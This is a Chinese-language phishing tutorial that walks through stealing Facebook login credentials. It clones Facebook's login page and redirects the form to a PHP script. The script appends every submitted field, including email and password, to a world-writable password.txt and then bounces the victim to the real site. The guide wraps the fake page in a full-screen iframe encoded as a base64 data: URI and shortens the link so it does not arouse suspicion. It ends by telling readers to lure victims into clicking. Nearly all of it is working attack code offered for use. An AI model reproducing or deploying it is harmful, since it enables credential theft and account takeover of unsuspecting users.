本文以盗取facebook登陆帐号的钓鱼为例,来示例如何钓鱼攻击的基本步骤。过程很简单,主要包括两个步骤,制作钓鱼页面,与钓鱼URI,其他网站的钓鱼页面也可以采取相似的方法,刚接触钓鱼的可以看看。
一、制作钓鱼页面
以盗取facebook登陆帐号的钓鱼为例,一共包含三个文件,index.html,login.php,password.txt
第一步:制作index.html登陆页面
首先,打开 https://www.facebook.com页面,查看源码,将源码copy到index.html文件中。
然后,编辑index.html文件,找到
<form id="login_form" action="https://www.facebook.com/login.php?login_attempt=1" method="post" onsubmit="return window.Event &&
Event.__inlineSubmit && Event.__inlineSubmit(this,event)">
将action的值改为
action=login.php?"https://www.facebook.com/login.php?login_attempt=1"
(login.php是用来盗取登陆帐号密码的)
将index.html放到web目录下(我的放置在/Library/WebServer/Documents/facebook目录下)
第二步:制作盗取facebook帐户和密码的脚本login.php
<?php header ('Location: https://www.facebook.com ');//跳转到真实的facebook页面 $handle = fopen("password.txt", "a");//将假页面中提交的POST数据写入password.txt文件中foreach($_POST as $variable => $value) { fwrite($handle, $variable); fwrite($handle, "="); fwrite($handle, $value); fwrite($handle, "\r\n");} fwrite($handle, "===============\r\n"); fclose($handle);exit;?>
第三步:创建接收POST数据的password.txt文件
dani-2:facebook leedani$ pwd /Library/WebServer/Documents/facebook
dani-2:facebook leedani$ sudo touch password.txt
dani-2:facebook leedani$ sudo chmod a+w password.txt
第四步:测试
登陆http://localhost/facebook/
输入电子邮件与密码,点击登陆
查看password.txt文件
dani-2:facebook leedani$ cat password.txt
看,email与pass字段就是facebook的登陆帐号与密码。
二、制作钓鱼URI
一般钓鱼会采用iframe用钓鱼页面遮盖原始页面的方式来进行钓鱼,接下来的操作就是生成一个有这个功能的Data: URI,并将这个URI进行短地址转换
第一步:生成攻击代码
src就是你存放钓鱼网页的地址
<style> body {margin:0; overflow:hidden;}</style><iframe src="http://localhost/facebook/" height="100%" width="100%" border="no" frameBorder="0" scrolling="auto">iFrame Failed</iframe
第二步:将攻击代码转换为data: URI
登陆http://dopiaza.org/tools/datauri/index.php,将上面代码粘贴进去,
对应的data: URI
data:text/plain;charset=utf-8;base64,PHN0eWxlPiBib2R5IHttYXJnaW46MDsgb3ZlcmZsb3c6aGlkZGVuO308L3N0eWxlPg0KPGlmcmFtZSBzcmM9Imh0dHA6Ly9sb2NhbGhvc3QvZmFjZWJvb2svIiBoZWlnaHQ9IjEwMCUiIHdpZHRoPSIxMDAlIiBib3JkZXI9Im5vIiBmcmFtZUJvcmRlcj0iMCIgc2Nyb2xsaW5nPSJhdXRvIj5pRnJhbWUgRmFpbGVkPC9pZnJhbWU+
将上面的data: URI中的data:text/plain改成data:text/html
data:text/html;charset=utf-8;base64,PHN0eWxlPiBib2R5IHttYXJnaW46MDsgb3ZlcmZsb3c6aGlkZGVuO308L3N0eWxlPg0KPGlmcmFtZSBzcmM9Imh0dHA6Ly9sb2NhbGhvc3QvZmFjZWJvb2svIiBoZWlnaHQ9IjEwMCUiIHdpZHRoPSIxMDAlIiBib3JkZXI9Im5vIiBmcmFtZUJvcmRlcj0iMCIgc2Nyb2xsaW5nPSJhdXRvIj5pRnJhbWUgRmFpbGVkPC9pZnJhbWU+
访问修改后的Data URI,我们可以看到
点击facebook图标,或下面的url链接(浏览facebook.com),将跳转到我们在第一步中创建的facebook的假登陆页面 http://localhost/facebook/。
第三步:生成data: URI对应的短地址
很显然,这个URI太长了,会引起怀疑,在真实环境下,我们可以先进行短网址转换,例如http://tinyurl.com/就提供这个服务
最后,引诱受害者点击这个会连接到钓鱼网页的URI就可以盗取帐号密码了。
参考:http://www.hackingarticles.in/hack-email-or-facebook-password-using-iframe-uri-phishing/